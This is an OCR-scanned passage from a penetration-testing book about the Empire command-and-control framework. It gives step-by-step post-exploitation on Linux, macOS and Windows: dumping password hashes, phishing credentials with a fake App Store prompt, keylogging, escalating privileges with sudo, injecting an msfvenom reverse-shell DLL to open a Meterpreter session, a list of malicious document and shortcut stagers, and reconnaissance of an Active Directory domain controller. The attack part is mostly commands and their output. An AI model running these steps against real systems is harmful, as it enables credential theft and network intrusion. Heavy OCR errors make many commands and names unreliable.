The next thing to acquire is the passwords. Unlike Windows, Mimikatz doesn't run on
Linux. Instead, Empire supports another module called nasnhaump. (Empire also supports a
module known as minipenguin Which can extract plain-text passwords. For more
information, refer to: nttps://github. com/huntergregal /mimipenguin). This extracts the
Jetc/passwd aNd /etc/snadow file and then unshadows the result. This module can be
executed using the following command:

| usemodule collection/linux/hashdump*
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) » usemodule collection/1inux/hashdump®
) » info

Name: Linux Hashdump
Module: python/collection/1linux/hashdump

NeedsAdmin: True
OpsecSafe. True

Language: python
MinLanguageVersion, 2.6

Background: False
OutputExtension: None

Authors:
@harmjby

Description:
Extracts the /etc/passwd and /etc/shadow, unshadowing the
result,

Options:

Name Required Yalue Description

Agent True HPMEDZ1R Agent to execute module on,

The - (asterisk) in the module name means that the module will only run with a higher security context
(higher privilege).

Upon execution of the module, the unshadowed result is displayed as follows:

rtkit:*:118:126:RealtimeKit,,,:/proc:/bin/false
saned:*:119:127::/var/lib/saned: /bin/false
usbmux:*:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false

harry: $685txSQTj628/NImr0681 3LbIjwALf rFBSEA00YPAVIrZIS2M22vZIUTIXEGDZFROekFyByzQGY rI1eF7 S iWNIvS7wY YOBLrT1:1000: 1000 harry, ,, : /home/harry:/bin/ba
sh

There are multiple collection modules which can be used for further information
gathering and internal network exploitation.
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Empire post exploitation for OSX

Next in line is the post exploitation of macOS using Empire. There are some cool
modules for OS X, and to see their magic, let's first get our stager ready. For stager
creation, we can either choose the default launcher nuiti/1auncher or the OSX launcher
osx/1auncner. The only difference between these two launchers is their available options.
Unlike multi launcher, OSX launcher doesn't have proxy and obfuscation support. Let's
execute the following command in order to use OSX launcher:

usestager osx/launcher
info

(Empire; Tor uses launcher
(Empire: j

Wame: Launcher

launcher for Empire.

A Python one-liner command will be generated, and once this one-liner is executed on
the target server, we'll get the agent connection:
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(Empire:

Now let's confirm the agent:

(Empire:

Now that we have the agent, let's interact with the agent and execute the sysinfo command
to retrieve system information:

The collection module has many options to choose from. In this case, let's choose the
prompt module:

The prompr module will launch a specified application with a prompt for credentials. By
default, this module will open in the Mac App Store and prompt the user to provide
their credentials. Execute the following command to use the prompt module:

usemodule osx/collection/prompt
info
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(Empire: J = usemodule collection/osx/prompt

(Empire:

Name .

Module:

NeedsAdmin:
Opsecsafe:
Language:
MinLanguageWersion:
Background.
OutputExtension:

Authors:
@FuzzyNop
@harmj Oy

Description:

B

Prompt
python/collection/osx/prompt
False

False

python

2.6

False

None

Launches a specified application with an prompt for
credentials with osascript,

Comments:

https://github, com/fuzzynop/FivelOncelnYourlLife

Options:

Name Required Value

ListApps False

sandboxMode False
Agent True
AppName True

FIWDO39M
App Store

Description

switch., List applications suitable for
launching,

switch., Launch a sandbox safe prompt
Agent to execute module on.

The name of the application to launch.

Use the execute command to start the module. Note: this module will ask for credentials
from the user which means that this is not a stealth module; that is, it is not opsec-safe. If
the user finds this odd, you could get caught:

) ¥ oexecute

y

Upon successful execution, the App Store will open on the user's screen and a prompt
for a password will be displayed:
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= App Store Alert
g Evern()te | Complete Anatomy 2019

P App Store requires your password to continue.

MNew Apps and Games We Love

Boom 3D: Surround So.. r‘ A 2 ) Fantastic Chefs (St Donut County
ﬁ\:] Games %

Once the user inputs their credentials, they will be phished back to Empire C2:

(Empire: )

button returned: 0K, text returned: testlZ3

There's another module which lets us copy the content from the target system's
clipboard. Let's execute the following command to run this module:

usemodule collection/osx/clipboard
info
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lipboard

e Wwill write g ard to stdout {or

Options:
Name
OutFile alse 0 nal file to sav

MonitorTime True

Agent True

Upon successful execution, we'll be able to see the content that is saved in the
clipboard.

28: u'Himanshu this is .; 1eW pPasswo

We can also use the screensnot module to take a screenshot of the user's screen. This can
be achieved either by executing the osx screensnot command directly into the agent or by
using the usemodule collection/osx/native screenshot cOmmand. Note that this module uses
Python Quartz libraries to take the screenshot, and it also saves the screenshot to the
target server which is not opsec-safe. Once taken, the screenshot will be downloaded
from the target server to Empire C2.

Technet24


https://technet24.ir
https://technet24.ir
https://technet24.ir

(Empire:

(Empire:

Output g to | Sdownloads/ /native screensh

(Empire; s

Upon successful execution, the screenshot will be downloaded locally and we can then
view the file:

There are not many privilege escalation modules for OSX, but we can phish the user's
credentials either through a prompt module or via a keylogger. Let's phish a user's
credentials using a keylogger, executing the following command to set it up:

usemodule collection/osx/keylogger
info
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) » usemodule collection/osx/keylogger
) ¥ info

Name. Keylogger
Module: python/collection/osx/keylogger

NeedsAdmin: False

OpsecSafe: False

Language: python
MinLanguageVersion: 2.6

Background. False
OutputExtension: None

Authors:
joey
@harmify

85albei

Description:
Logs keystrokes to the specified file, Ruby based and

heavily adapted from MSF's osx/capture/keylog recorder. Kill
the resulting PID when keylogging is finished and download
the specified LogFile,

Comments:
https://github. com/gojhonny/metasploit-framework/blob/master
fmodules/post/osx/capture/keylog recorder.rb

Options.
Name Required  Value Description

/tmp/ . debug . db Text file to log keystrokes out to,
Agent  True M3GWR 30 Agent to keylog,

Once executed, the keylogger will start logging the keystrokes. When the user enters
their password, the entered keystrokes will be saved in the /tmp/.qebug.ao file. This
module will save the keystrokes on the target server, making it opsec-unsafe:
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(Empire;

(Empire:

Harry $2913 36 0.1 43 & 11796 s013 § L) 35AM - 6:00.11 ruby

kill ruby PID and download /tmp/.debug.db when completed

Now we just need to download the /tmp/ . debug.av file, using the downicaa command as
follows:

(Empire:; )y = download /Jtmp/. debug. db

(Empire:

Let's view the /tmp/.qebug. b file to see everything that the keylogger has logged:

1:~% cat Empire/download

te] [cmd]t[shift]this is te[delite][delete]my new d[shift]; harryharryl

We found the password! Let's use this password to get a higher security context. For
this, we can use the sudo spawn module, which will pop up a root shell. To use this
module, let's execute the following commands:

usemodule privesc/multi/sudo_spawn
info
set Password <the user password we just phished>
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set Listener <available listener>

(Empire: ) > usemodule privesc/multi/sudo_spawn
(Empire: Y > info

Name: SudoSpawn
Module: python/privesc/multi/sudo_spawn

MeedsAdmin: False
OpsecSafe. True

Language: python

MinLanguagelVersion: 2.6

Background: False

OutputExtension:. MNone

Authors:
@harmjOy

Description:
Spawns a new Empire agent using sudo.

Options:

Name Required Description

Listener True Listener o use:.

UserAgent False default User-agent string to use for the staging
request (default, none, or other),

Password True User password for sudo.

safeChecks T rue True Enable Safelhecks.

Agent True M3FWRICEH Agent to execute module on.

Now that the setup is complete, let's execute the module. The module will elevate the
security context using sudo and execute our launcher in that security context. Keep in
mind that this will not work if the user 1s a limited user:

(Empire: 1o» execute

(Empire.

We can list the agents to check the newly connected agent with high integrity:

M39WR3CG py 127.0.0.1 xXxZombi3xXx.loca Harry fusr/bin/python 31661 5/0.0
DEQZQICT py 127.0.60.1 WXxZombi3xXx . loca *root python -c import s 83041 G5/0.0

(Empire: ) >
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With root privileges, we can now use the nasnaump module for OSX. This will dump the
encrypted passwords. Execute the following commands to setup the nasnaump module:

usemodule collection/osx/hashdump*
info

1 » usemodule collection/osx/hashdump®
} * iInfp

Name. Hashdump
Module: python/collection/osx/hashdump

NeedsAdmin: True
OpsecSate: True

Language: python
MinLanguageVersion: 2.6

Background: False
OutputExtension: None

Authors:
@harmjOy

Description:
Extracts found user hashes out of
fvar/db/dslocal /nodes/Defaul t/users/* . plist

Comments:
http://apple.stackexchange. com/questions/ 186893 /05-x-10-9
-where-are-password-hashes-stored

Options:

Name Reqguired Yalue Description

Agent True DFEOZQTCY Agent to execute module on,

Upon successful execution, we'll get the password hashes.

Not many people are familiar with this tool, but most are comfortable with the
Metasploit framework. If this 1s the case, we can use Empire's obfuscated launcher to
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bypass security restrictions, and once we get a agent connection, we can spawn a
Meterpreter session using Empire.
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Popping up a Meterpreter session using
Empire

The concept of popping up a meterpreter session using Empire is very easy to
understand. Empire can inject code directly into the memory and execute it. We just
need to get an obfuscated shellcode or the prr/exe generated by msevenom and inject the
DLL/EXE/shellcode 1NtO the memory using Empire. Let's first generate a reverse shell DLL
USING ms fvenon:

@ & % Harry — -bash — 143x36

~ — harry@Fuzzer0$S: ~/Empire — ssh harry@192.168.2.24 ~— -bash ~ — -bash
xXxZomhi3xXx:~ Harry$ msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.2.6 lport=8080 -f dl1 -o rev8@30.dl1l
No platform was selected, choosing Msf::Module::Platform: :Windows from the payload
No Arch selected, selecting Arch: x64 from the payload
Mo encoder or badchars specified, outputting raw payload

Payload size: 717 hytes

Final size of dll file: 5120 bytes
Saved as: revsgse.dll
xXxZombi3x¥x:~ Harry$

Upload the malicious DLL using the up10aa command:

| NON Harry — harry@Fuzzer0S: ~/Empire — ssh
~ — harry@Fuzzer0Ss; ~/Empire — ssh harry@192.168.2.24 ~ — msfconsole -r rev_https_han
(Empire: ) = upload /home/harry/rev8ds8d.dll

(Empire:

We can now use the invoke d11injection module for DLL injection. Let's execute the
following commands in order to use this module:

usemodule code_execution/invoke_dllinjection
info
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o & Harry — harry@Fuzzer0S: ~/Empire — ssh harry@192.168.2.24 — 143x35

~ — harry@Fuzzer0S: ~/Empire — ssh harry@192.168.2.24 ~ — msfeonsole -r rev_https_handler_8080.rc ~— -bash
{Empire: ) = usemodule code_execution/invoke_dllinjection
{(Empire: ) = info

Name: Invoke-DllInjection
Module: powershell/code_execution/invoke_dllinjection
NeedsAdmin: False
OpsecSafe: True
Language: powershell
MinLanguageYersion: 2
Background: False
OutputExtension: None

Authors:
@mattifestation

Description:
Uses PowerSploit's Invoke-DLLInjection to inject a D11 into
the process ID of your choosing.

Comments:
https ithub.com/mattifestation/PowerSploit/blob/master/Co
deExecution/Invoke-Dl1Injection.psl

Options:

Name Required Value Description

ProcessID True Process ID of the process you want to
inject a D11 into.

Agent True 731LHZ26E Agent to run module on.

D11 True Name of the dl1 to inject. This can be
an absolute or relative path.

(Empire: ) =

Set rrocessto Where you want to inject your DLL, and then set the DLL path where you
have uploaded the malicious DLL. The location can be an absolute path or a relative
path:

(Empire: 3} = set ProcessID 1596
(Empire: 3} = set D11 rev8@80.dl11
(Empire: 3 = execute

(Empire:
System.Diagnostics.ProcessModule (rev80go.dll)

Before executing the module, let's start the handler on Metasploit. This handler will
listen for incoming connections on port soso:
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Processing rev_https_handler_8080.rc for ERB directives.
resource (rev_https_handler_8080.rc)= use exploit/multi/handler
resource (rpv https_handler_8880.rc)= set payload windows/x64/meterpreter/reverse_https
payload == windows/x64/meterpreter/reverse_https
resource (rpv https handler_8080.rc)= set lhost 192.168.2.6
lhost == 192.168.2.6
resource (Pev_https_hundler_8@8@.rc}} set lport 8080
lport == 8080
resource (rev_https_handler_8080.rc)= set exitonsession false
exitonsession == false
resource (rev_https_handler_8080.rc)= set exitfunc thread
exitfunc == thread
resource (rev_ https handler_8080. rc)= run

Exploit running as huckground job @
msf exploit( e

Started HTTPS reverse hundlpr on https://192.168.2.6:8080

Executing the Empire module shown earlier will inject our malicious DLL into the
process with the process ID of 1596:

resource {rev_https_handler_8080.rc)= run -j
Exploit running as huckglound job @
mst exploit(
Started HTTPS reverse hundlel on https://192.168.2.6:8080
https://192.168.2.6:8080 handling request from 192.168.2.9; (UUID: hf84cyyl) Staging x64 payload (207449 bytes) ...
Meterpreter session 1 opened (192.168.2.6:8080 -> 192.168.2.9:51434) at 2018-08-28 23:19:31 +0530

The Meterpreter session has now been opened! Let's confirm the session information
using the sessions command in Metasploit, as follows:
msf exploit( Y =
Started HTTPS reverse handler on https://192.168.2.6: 8080
https 92.168.2.6:8080 handling req from 192.168.2.9; (UUID: hf84cyyl) Staging x64 payload (207449 bytes) ...
Meterpreter session 1 opened {197.168.2.6:8080 -> 192.168.2.9:51434) at 2018-08-28 23:19:31 +0530

msf exploit( ) = sessions

Active sessions

Id MName Type Information Connection

1 meterpreter x64/windows PT-PC\PT @ PT-PC 192.168.2.6:8080 -> 192.168.2.9:51434 (192.168.2.9)

msf exploit( } =

We can now use Metasploit modules for further exploitation.
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Slack notification for Empire agents

Starting with Empire and getting an agent is easy, but what if we tried to perform a mass
phishing attack on the whole organization? How will we know if we got an agent alive
or not? What if the agent connects back to our Empire C2 in the middle of the night and
we're not online to check it?

It may not seem a serious issue, but a barrage of agents is difficult to manage. For cases
like these, let's use Slack. Slack is a messaging application which allows teams to
communicate. We can use Slack as the alert application to get an alert whenever an
agent connects back to the Empire C2.

Let's register with Slack first by visiting nttps://s1ack.com. Once registered, open up the
URL shown in the following screenshot to create a legacy API token:

C | @ Secure | https://api.slack.com/custom-integrations/legacy-tokens r J‘h

¥ slack @i Dol

rlome Legacy tokens

Building Slack apps

Internal integrations . . . i . X
You're reading this because you're looking for info on legacy custom integrations - an outdated

way for teams to integrate with Slack. These integrations lack newer features and they will be
Best practices deprecated and possibly removed in the future. We do not recommend their use.

Recent updates

App blueprints

Q@ Instead, we suggest that you read about their replacement - Slack apps. Slack apps can be built
just for your own workspace or distributed through the App Directory, and they can use the
Moving to Slack apps latest and greatest APls and Ul features.

Legacy integrations

Incoming Webhooks
Slash Commands

Bot Users Legacy tokens are an old method of generating tokens for testing and development.

Qutgoing Webhooks )
AR Because we strongly recommend you do not use legacy custom integrations anymore, you
& should instead use workspace apps to quickly generate tokens. Our guide to working with

Legacy tokens workspace tokens will walk you through the process of generating and using them.

An issued legacy token will look something like this:
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C | & Secure | https://api.slack.com/custom-integrations/legacy-tokens ¥ I‘ﬂ 1'@ *-'JH P &

Legacy information

Though we recommend that all legacy custom integrations should migrate to Slack apps, we also
understand that some will still need to maintain older integrations. This section contains any
information about using legacy tokens that is specific to the legacy implementation.

Legacy token generator

Use this tool to generate legacy tokens.

[\ Legacy tokens are just for you. Never share legacy tokens with other users or
applications. Do not publish Legacy tokens in public code repositories. Review token
safety tips.

By creating a test API token, you agree to the Slack APl Terms of Service.

Workspace User Token

ZAP Ltd. zircanavo.abyss | y5y,-337213857207-3360916 Re-issue token

If your workspace does not appear above, make sure you're logged in and then reload this page.

Legacy token capabilities
Tokens generated with this tool will be associated with the currently signed in user and team.
The tokens will automatically be granted the following scopes:

* identify - identifies your personal user information like name and team

= read - allows this token to request data about channels, messages, team members, and

Empire gives us the option to add the Slack API token to the Empire listeners. Let's use
the legacy token in our listeners. In this case, we will set up the token in a listener
named enpire:


https://technet24.ir
https://technet24.ir

{Empire:

Empire
http

{Empilre:

. hone,

path for
" in agent re
1t to.

“default, none, or other).

T e B e e B e W s e e B

o
=

(Empire:

We can use the rait command to update listener information. Let's execute the following
command to add the slack token that we generated before:

Edit <listener> SlackToken <slack API token>
(Empire:
(Empire: edit Empire SlackToken x

(Empire:

For this to work perfectly, we have to restart the listener. There's no restart command in
Empire, so we have to execute the disapbie and enavie commands in order to restart:
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(Empire: 3 = disable Empire

(Empire: 3 = enadble Empire

* Lerving Flask app "http® {(lazy loading)
* Environment: production

* Debug mode: off

(Empire: ) o=

Let's check the listener information and see if the siackroxen field 1s updated or not:

CEmpire: 3 = info Empire
Empire Options:

Name Reguired Value Description
StagerURI URT for the stager. Must use Sdownload/. Example: /download/stager.php
ProxyCreds default Proxy credentials {[domain™]usernome:paossword) to use for request {defoult, none,
ar other).
Ki11Date Dote for the listener to exit (MM/dddyyyy).
Name Empire Name for the listener.
Launcher powershell -noP -sta -w 1 -enc Launcher string.
DefaultProfile /Jadmin/get.php,/news.php,/login/ Default communication profile for the agent.
process.phplMozi11a/5.80 (Windows
NT ©.1; Wowed; Trident/7.0;
rv:11.83 Tike Gecko
Defaultlostlimit Number of missed checkins before exiting
Host : / B e Hostname/IF for stoging.
Port Port for the listener.
WorkingHours Hours for the agent to operate (B3:00-17:087.
CertPath Certificate path for https listeners.
Defaultlitter A Jitter in ogent reachback interval (8.0-1.@3.
SlackChannel #general The Slack channel or DM thot notifications will be sent to.
BindIP 0.0.0.0 The IP to bind to on the control server.
Userdgent default User-agent string to use for the staging reguest (default, none, or other).
Stagingkey WoxdQ@1& 3. IM-mGATK: XL1~0vP{Bz/ Staging key for initial agent negotiation.
DefaultDelay ) Agent delay/reach back interval {in seconds).
SlackTaoken X0xp-337213857 207 -336091616819-3 Your SlackBot API token to communicate with your Slack instance.
26492938517 -203033b7 cfa82015d26
adddaor caZad
ServerVersion Microsoft-IIS/7.5 Server header for the control server.
Proxy default Froxy to use for reguest (defoult, none, or other).

(Empire:;

Now, whenever an agent connection is made on this listener, we'll get a notification on
our slack channel:

(Empire:
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As we can see in the the following screenshot, a notification alert with the agent
information is displayed on our Slack channel:

o Slack APl Tester AFF 3:44 P
‘biohazard: NEW AGENT :biohazard:

Machine Name: PT-PC
Internal IP: 19Z2.168.2.2
External IP: 1872.68.128.78
User: PT-PCMWPT

0% Version:
Agent ID: B1R4KNXE

Microsoft Windows ¥ Ultimate

We will get an alert whenever an agent connects back to the Empire C2. We can plan the
further attacks depending upon the information we get from Empire. The following is the
list of stagers available in Empire:

Target Stager Emplre stager Description
OS name option
Generates a macro that
backdoors .1inx files on the
Backdoor user's desktop. The
Windows | LNK Macro | windows/backdoorinkMacro | backdoored inx files therefore
launcher attempt to download and
execute an empire launcher
when the user clicks on them.
Bunn Generates a Bash bunny script
Windows Y windows/bunny that runs a one-liner Stage 0
launcher :
launcher for Empire.
C# Generates a PowerShell C#
Windows | PowerShell windows/csharp_exe solution with embedded stager
launcher code that compiles to an EXE.
DLL Generates a PowerPick
Windows windows/d11 Reflective DLL to inject with
launcher
stager code.
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Ducky

Generates a ducky script that

Windows windows/ducky .
launcher runs a one-liner Stage 0
launcher for Empire.
Generates an HyperText
HTA ..
Windows : windows/hta Application (HTA) for Internet
auncher
Explorer.
BAT _ Generates a self-deleting .vat
\VindOWS windows/launcher bat .
launcher launcher for Empire
ILNK Creates a .1nx file that launches
Windows windows/launcher 1lnk the E ire staser
launcher - mp get.
Reosrv3) Generates an SCT file (COM
Windows & windows/launcher_sct Scriptlet). This can be hosted
launcher
anywhere
, VBS _ Generates a .vos launcher for
WlIldOWS windows/launcher vbs .
launcher Empire.
Msbuild xml , Generates an XML file to be
WindOWS - windows/launcher xml .
launcher run with mspuild. exe.
Generates an office macro for
Macro Empire. This is compatible
\VindOWS windows/macro .
launcher : with office 97-2003 and 2007
file types.
lgil)azicero-less Creates a macroless document
Windows . windows/macroless_msword | Utilizing a formula field for
exccution in code execution
MSWord '
, Shellcode _ Generates a windows
Windows windows/shellcode
launcher shellcode stager.
Generates a Teensy script that
Teensy )
Windows launcher windows/teensy runes a one-liner Stage()
launcher for Empire.
Generates AppleScript to
Mac : .
Apple Script | osx/applescript execute the Empire stage0
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OSX launcher.

Mac . o Generates an Empire

OSX Application | cox/eppiication Application.

Mac Ducky Generates a ducky script that

0SX launcher osx/ducky runs a one-liner stage(
launcher for Empire.

Mac Dylib i Generates a dynamic library

OSX launcher e for OSX.

1(\)/[;:( fﬁuﬁcher osx/jar Generates a JAR file.

Mac Default P Generates a one-liner stage(

OSX launcher . launcher for Empire.

1(\)/1;;( Macho osx/macho Generates a macho executable.

Mac OSX Apple An OSX office macro that

0SX Seri tnpgcro osx/macro supports newer versions of

P Office.

Generates a pxg installer. This
installer will copy a custom

Mac 0OSX (empty) application to the

0OSX package osx/pkg /Applications folder. The
postinstall SCript will execute
an Empire launcher.

Mac Safari etort toune Generates an HTML payload

OSX launcher Cr e e launcher for Empire.

Mac Teens Generates a Teensy script that

0SX launc}}ller osx/teensy runs a one-liner stage(
launcher for Empire.

Multi- Bash Scriot Generates self-deleting Bash

Platform | launcher P multi/bash script to execute the Empire

Stage 0 launcher.
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Multi- Default lts)launches Generates a one-liner Stage 0
Platform | PowerShell launcher for Empire.
launcher
Cross Generates a Win/Mac cross
Multi- platform platform MS Office macro for
Platform macro multi/macro Empire, Compatible Wlth
launcher Office 97-2016 including Mac
2011 and 2016 (sandboxed).
Muli- pylnstaller . Getiera(‘;els an IIElLFfblnEary .
Platform | Launcher matti/pyinstatier payload atlicict 10T Lmp1re
using pylnstaller.
Multi- WAR "y Generates a deployable WAR
Platform | launcher T file.
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Summary

In this chapter, we introduced Empire and its fundamentals. We have also covered
Empire's basic usage and the post exploitation basics for Windows, Linux and OSX. We
were also able to get a Meterpreter session opened using Empire and, finally, used
Slack as the alerting mechanism whenever an agent connects back to the Empire C2.
However, in an organization, accessing a server is not enough. The final goal for
intruding into the network should be to get full access to the Domain Controller (DC).
In the next chapter, we will cover how we can use Empire to gain access to DC and
how we can achieve this using automated tools.
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Questions

1. Is Empire free?
2. Does Empire use SSL for agent communication?
3. Does Empire have any GUI version for its usage?
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Further reading

Read the following links for more information:

® https://github.com/EmpireProject/Empire

® http://www.powershellempire.com/

® https://www.swordshield.com/2017/10/slack-and-microsoft-teams—-notifications-for-empire-and-me
terpreter-agents/

® https://www.harmjOy.net/blog/about/
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Age of Empire - Owning Domain
Controllers

In the previous chapter, we covered the basics of Empire and how to use Empire
efficiently to perform post-exploitation. Now we are in the network, what's the next
step? What can we do apart from exploring the target filesystem and internal network
service discovery? In every organization, a centralized server will be present to control
and manage the whole network. If an attacker can compromise this central server, they
would have full control over the entire organization's network. This central server is
called the Domain Controller (DC), while the domain services that are provided by a
Domain Controller are known as Active Directory Domain Services.

In this chapter, we will cover the following topics:

e QGetting into a Domain Controller using Empire
e Automating Active Directory exploitation using the DeathStar
e Empire GUI
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Getting into a Domain Controller using
Empire

Most of the time, we get access to a web server with system privileges. When we try to
get access to the Domain Controller, however, this just doesn't work. One of the reasons
for this is the lack of knowledge related to Domain Controllers. For those who are
learning about privilege escalation and pivoting, you are about to enter the world of
lateral movement and Domain exploitation. Make sure that you are familiar with some
basic concepts related to Domains and Domain Controllers. Start from: neeps://en.wikipea
ia.org/wiki/Domain_controller aNd move on to other topics related to the Domain Controller
before continuing with this topic.

Assuming that you have some basic understanding of Domains, Domain Controllers, and
Active Directory Domain Services (AD/DS), let's continue with the Active Directory
exploitation. You should already have an active agent. In our case, the agent is active
and has the privileges of the =r user.

(Emparer ogents) » List

Nme Lo Internal 1P Machine Nome

TGS s 192.566..14

(Epire:

To get access to the Domain Controller, we first need to get access to a domain user's
account so that we can perform reconnaissance on the domain. Remember that we can't
gather information regarding a particular domain with a local account. We need to have
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access to a domain user account so that the domain user can communicate with the
Domain Controller to get information.

Let's first escalate the privileges using the pypassuac_eventvwr module on the local system
so that we can have a higher security context to perform further attacks:

) = bypassuac Empire

(Empire: i
Job started: RTDZ3N

The asterisk (+) in the username means that we have escalated the privileges for
the eruser:

Ne Lo Internal 1P Mochune Name — Username— Process
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The next step would be to gather the credentials from the memory using mimixatz. We will
be able to find these if any domain user has logged on to this server before. Using
nimixatz, W€ can fetch the credentials of the domain users as well.

(Empre: ) > interact SYWLZHAN
(Emp1re: ) = mmtkotz

(Empire:

Two domain users are found on this server: narry and jonn. We also found that the domain

1S 133t.1local’
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In our current scenario, we have system privileges on the local server and we have the
credentials of two domain users: narry and j5onn. What we need to do now is to elevate
from a local user to a domain user. We can do this using another post module in Empire.
In this situation, we can use the spawnas module in Empire to spawn a new agent using the
domain user:
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(Bmp1re: ) » usemodule management/spawnas
(Bmp1re: ) » 1nfo

Name: Invoke-SpawnAs
Module: powershell/management/spawnas
NeedsAanin: False
OpsecSofer False
Language: powershell
MinLonguageVersion: Z
Bockground: False
OutputExtension: None

huthors:
rvrsh3ll (@dz4147241)
@harm1By

Description:

Spown an agent with the specified logon credentials.

Comments:
httpss//qitnub.com/ryrsh3l L Misc-Powershel 1-
Scripts/blob/moster/Runds.psl

Options:
Required  Value
serhome
CredIl

Domain
Proxy

Description

Jsername to run the command os.

CredID from the store to use.

Optional domatn.

Proxy to use for request (default, none,
or other),

Technet24
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Next, we'll set the crearn, which can be found by executing the creas command, and the

Listener.

Listaner True L1stener to Lse,
ProyyCreds Folse default Proxy credentials
([domatn\] usernane:password) to use for
request (default, none, or other),
[serAgent Folse  gefoult ser-ngent string to use for the staging
request (defoult, none, or other),
Possiord - Folse Possword for the spectfied usernane,
Agent  True LN Agent o run module on.

(Enpre: ) 5 set (redlD 6

(g e ) » set Listener Fipire

Once all the options are set, we can execute the module, which will create a process
using the domain user's credentials:
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) = execute
¥

(Empire: i
Launcher bat written to C:ilsers‘Publichdebug.bat

Hondles NEMCKY  PMCKD WSCKD VMOMY  CPUCs) Id ProcessMame

1988 2208 i 3812 cma

A new agent 1s now online. This time, it's the sonn user:

(Bmotre: ) » st

Nome Lo Internol IP Mochine Nome  Username  Process PID Delay

FT-F( PI-FCFT powershell
VRLZHAN ps 192.168.2,14  FT-FC -POPT powershell e 50,0
WKTFACG ps 192.168.2,14  FT-FC L33T\ohn powershel % 0.0

(Bmotre: )3
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Now that we have access to a domain user's account, we can move forward with
Domain Controller Reconnaissance. The first thing that we need to know is the IP
address of the Domain Controller. This can be found using the ansserver module in
Empire:

3 = usemodule situational_awareness/host/dnsserver
3 = 1nto

Mame: Get-5ystemDNSServer

Module: powershell/stituational _owareness/host/dnsserver
MNeedsAdmin: False
Opsectate: True
Language: powershell
MinLanguageYersion: £
Background: False
OutputExtension: Mone

Authors:
UDarkOperator

Description:
Enumerates the DNS Serwvers used by a system.

Comments:
https://g1thub.com/darkoperator/Fosh-
SecMod/blob/master/Discovery/Discovery.psml

Optilons:

Mame Reqguired Yal ue Description

Agent True MK/ FZWCEE Agent to run module on.

At the time of configuration, a DC will always try to set up a DNS server if this is not
already done. This Empire module will look for the primary and secondary DNS
Servers:
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(Empire: ) > execute

As we can see, the IP 192.165.2.17 1s the primary DNS server. There's a high chance this
IP could belong to the DC. To confirm this, we can use the get domain contro11er module in
Empire. This module will return information about the DC for the current domain:

Technet24
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(Empire: ) = usemodule sttuational _awareness/network/powerview/get_domain_controller
(Empire: ) = 1nfo

Nome: Get-DomainController
Module: powershell/sttuational _awareness/network/powerview/get_domatn_controller
NeadsAdnin: False
OpsecSafer True
Language: powershell
MnlonguageVersion: 2
Background: True
OutputExtension: None

Authors:
@harm 7y

Jescription:
Returns the domain controllers for the current domain or the
specified domatn, Part of PowerView,

Comments:
https://g1thub. com/PowerShel IMat1a/PawerSplo1t/blob/ dev/Reco
n/

Options:
Nome  Required  Volue Description

Domain Folse The domatn to query for domatn
controllers,

LDAP False Swrtch, Use LDAP quertes to determine
the domain controllers,

Agent True NK7FNCG Agent to run module on,

Server False Specifies an Active Directory server
(domain controller) to bind to.

Let's set up the domain option here and execute the module so that it can look for
information regarding the specified domain:
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As we can see from the preceding result, 192.16s.2.17 1s indeed the DC. The
get_domain controller module provides us with the following information:

Forest 133t.local
OSVersion Windows Server 2008 R2 Enterprise
Roles SchemaRole, NamingRole, PdcRole, RidRole

IPAddress 192.168.2.17

Name WIN-9PIACAHV7U3.133t.local

Please refer to https://technet.microsoft.com/pt-pt/library/cc759073 (v=ws.10) .aspx {O understand
the basics of Domains and Forests.

To get information about the Forest, use the get forest module:
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1 » usemodule situational_awareness/network/powerview/get_forest
J > 1nfo

Mome: Get-Forest
Module: powershell/situotional _awareness/network/powerview/get_forest

NeedsAdnin: False
Opsechafe:r True

Language: powershell

MinLanguageVersion: 2

Background: True
OutputExtension: None

Authors:
Bharm 7@y

Description:
Return information about a given forest, including the root
domain and SID. Part of PowerView.

Comments:
https://g1thub.com/PowerShel IMatia/PowerSplott/blob/dev/Reco
n/

Options:

Mame  Reguired  Value Description

Forest False The forest name to query domain for,
defaults to the current forest,
Agent True MK 7 FZWCo Agent to run module on.

The rorest name will be used in the get rorest module to retrieve information about the
specified rorest. This includes the root domain and its SID. Let's set the rorest name to
133t.10ca1, Which we retrieved from the get domain controi1er module:
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As you can see 1n the preceding screenshot, we were able to retrieve the root domain
and its SID using the get_forest module. This gives us the following information:

RootDomainSID

S-1-5-21-3140846176-3513996709-3658482848

ApplicationPartitions

DomainDNSZones for 133t, local

ForestDNSZones for 133t, local

SchemaRoleOwner

WIN-9PIACAHV7U3.133t.local

NamingRoleOwner

WIN-9PIACAHV7U3.133t.local

Now that we have retrieved all the information regarding the 133+ domain in the Forest,
let's look for other domains that are configured in the same Forest, if any are available.
This can be achieved using the get forest domain module. Use this module to retrieve the
information regarding Primary DC (PDC) as well as the Role Owner:

Technet24
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(Empire: )3
(Empre: ) » Usemodule sttuntional _awareness/network/powerview/get_ftorest_domain
(Emp1re: ) > 1nfo

Name: Get-Fores tDomatn
Modules powershell/s1tuntional _awareness/network/powerview/get_forest_domoin
NeadsAdnin: False
OpsecSafer True
Language: powersnell
MinLanguageVersions

Backgrounds True

OutputExtension: None

Authors:
Bharmly

Description:
Return all domatns for a qiven forest. Part of PowerView,

Lomments:
nttps://grtnub. com/PowerShel IMatia/PowerSplott/blob/dev/Reco
n/

Opt1ons:

Nome  Required  Value Description

Forest False The forest nome to query domgin for,
defaults to the current forest,
Agent True NK/FANCo Agent to run module on,
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Set the rorest NAamMe to 133t.10ca1 to find all the domains in this forest:

Technet24
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V> set Forest 133, Local
| et

3t oct!

13
U
Al
1l

ndowsZ@@SDomum

(at-Forestomin conpleted

We found that the 133t.10ca1 Forest has only one domain under it and that the PDC is the
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same as the Domain Controller that we want to access. Let's confirm all the information
that we have gathered on the Domain Controller up until now:

Forest 133t.local

OSVersion Windows Server 2008 R2 Enterprise

Roles SchemaRole, NamingRole, PdcRole, RidRole
IPAddress 192.168.2.17

Name WIN-9PIACAHV7U3.133t.local

RootDomainSID S-1-5-21-3140846176-3513996709-3658482848

DomainDNSZones for 133t, local
ApplicationPartitions
ForestDNSZones for 133t, local

SchemaRoleOwner WIN-9PTIACAHV7U3.133t.local
NamingRoleOwner WIN-9PIACAHV7U3.133t.local
PdcRoleOwner WIN-9PIACAHV7U3.133t.local
Domain mode Windows2008Domain

Now that we know our target, let's move on to the lateral movement. To connect to the

Technet24
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Domain Controller using the domain user's credentials that we acquired earlier, we can
use the invoke wni module in Empire:
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CEmpire: ) > usemodule lateral _movement/1nvoke_wm
(Bmpire: ) > info

